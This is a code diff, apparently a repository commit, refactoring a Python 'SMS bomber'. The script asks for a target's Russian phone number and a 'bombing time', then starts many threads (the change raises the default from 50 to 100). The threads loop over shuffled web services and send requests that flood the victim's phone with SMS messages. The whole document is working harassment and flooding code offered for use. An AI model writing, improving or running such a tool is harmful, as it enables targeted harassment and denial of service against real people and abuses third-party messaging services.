1
1
#!/usr/bin/env python3
2
2
3
- # TODO: country codes for other phone numbers, logging ( --verbose )
3
+ # TODO: PEP8 code style,
4
+ # country codes for other phone numbers,
5
+ # logging ( --verbose )
4
6
5
7
import os
6
8
import json
7
9
import argparse
8
10
import threading
9
- from time import time , sleep
10
11
from itertools import cycle
11
-
12
- try :
13
- from randomData import shuffleServices
14
- from service import Service
15
- import conf .config as cfg
16
- except ImportError as e :
17
- print (e )
18
- exit ("ImportError: try to install modules:\n " +
19
- "pip3 install -r requirements.txt" )
12
+ from time import time , sleep
13
+ import conf .config as cfg
14
+ from service import Service
15
+ from randomData import shuffleServices
20
16
21
17
22
- def startBomber (thread_id ):
18
+ def startBomber ():
23
19
shuffleServices (services )
24
20
for elem in cycle (services ):
25
- if time () >= stop_time :
21
+ if time () >= args . time :
26
22
return
27
23
sleep (interval )
28
- # Creating obj of service, parse data, replace data and send request:
29
24
service = Service (elem , timeout , proxy )
30
25
service .parse_data ()
31
26
service .replace_data (phone )
32
27
try :
33
- service ._send_request ()
28
+ service .send_request ()
29
+ print ('Success - ' + service .domain_name )
34
30
except KeyboardInterrupt :
35
31
threading ._shutdown ()
36
32
37
33
38
- def cleanPhoneFromTrash (phone ):
39
- for trash in ["'" , '"' , "-" , "_" , "(" , ")" , " " ]:
40
- if trash in phone :
41
- phone = phone .replace (trash , "" )
42
- if phone [0 ] == '+' :
43
- phone = phone [1 ::]
44
- if phone [0 ] == '8' :
45
- phone = '7' + phone [1 ::]
46
- if phone [0 ] == '9' :
47
- phone = '7' + phone
48
- return phone
49
-
50
34
51
35
# Creating parser obj
52
36
parser = argparse .ArgumentParser (
@@ -57,10 +41,10 @@ def cleanPhoneFromTrash(phone):
57
41
"-p" , "--phone" , metavar = "<phone>" ,
58
42
help = "target's russian phone number, format no matters" )
59
43
parser .add_argument (
60
- "-t" , "--stop_time " , metavar = "<seconds>" ,
44
+ "-t" , "--time " , metavar = "<seconds>" ,
61
45
type = float , help = "bombing time in seconds" )
62
46
parser .add_argument (
63
- "--threads" , default = 50 , type = int , metavar = "<int>" ,
47
+ "--threads" , default = 100 , type = int , metavar = "<int>" ,
64
48
help = "threads count, more threads = more sms, (default: %(default)s)" )
65
49
parser .add_argument (
66
50
"-i" , "--interval" , default = 0 , type = float , metavar = "<seconds>" ,
@@ -80,11 +64,23 @@ def cleanPhoneFromTrash(phone):
80
64
phone = args .phone
81
65
if not phone :
82
66
phone = input ("Enter target's phone number: " )
83
- phone = cleanPhoneFromTrash (phone )
67
+ for trash in ("'" , '"' , "-" , "_" , "(" , ")" , " " ):
68
+ if trash in phone :
69
+ phone = phone .replace (trash , "" )
70
+ if phone [0 ] == '+' :
71
+ phone = phone [1 ::]
72
+ if phone [0 ] == '8' :
73
+ phone = '7' + phone [1 ::]
74
+ if phone [0 ] == '9' :
75
+ phone = '7' + phone
76
+
84
77
# Bombing time
85
- if not args .stop_time :
86
- args .stop_time = int (input ("Enter bombing time in seconds: " ))
87
- stop_time = args .stop_time + time ()
78
+ if not args .time :
79
+ args .time = int (input ("Enter bombing time in seconds: " ))
80
+ # Doesn't creating "time" var because
81
+ # it is will conflict with "time" func from module "time"
82
+ args .time += time ()
83
+
88
84
# Other args
89
85
threads = args .threads
90
86
interval = args .interval
@@ -98,11 +94,10 @@ def cleanPhoneFromTrash(phone):
98
94
99
95
os .system ("clear" )
100
96
print (cfg .banner )
101
- print ( "Creating %s threads" % threads )
97
+
102
98
# Creating threads
103
- for thread_id in range (threads ):
104
- thread_id += 1
105
- threading .Thread (target = startBomber , args = (thread_id , )).start ()
99
+ for thread in range (threads ):
100
+ threading .Thread (target = startBomber ).start ()
106
101
107
102
# Killing all threads when bombers work is done
108
103
threading ._shutdown ()
0 commit comments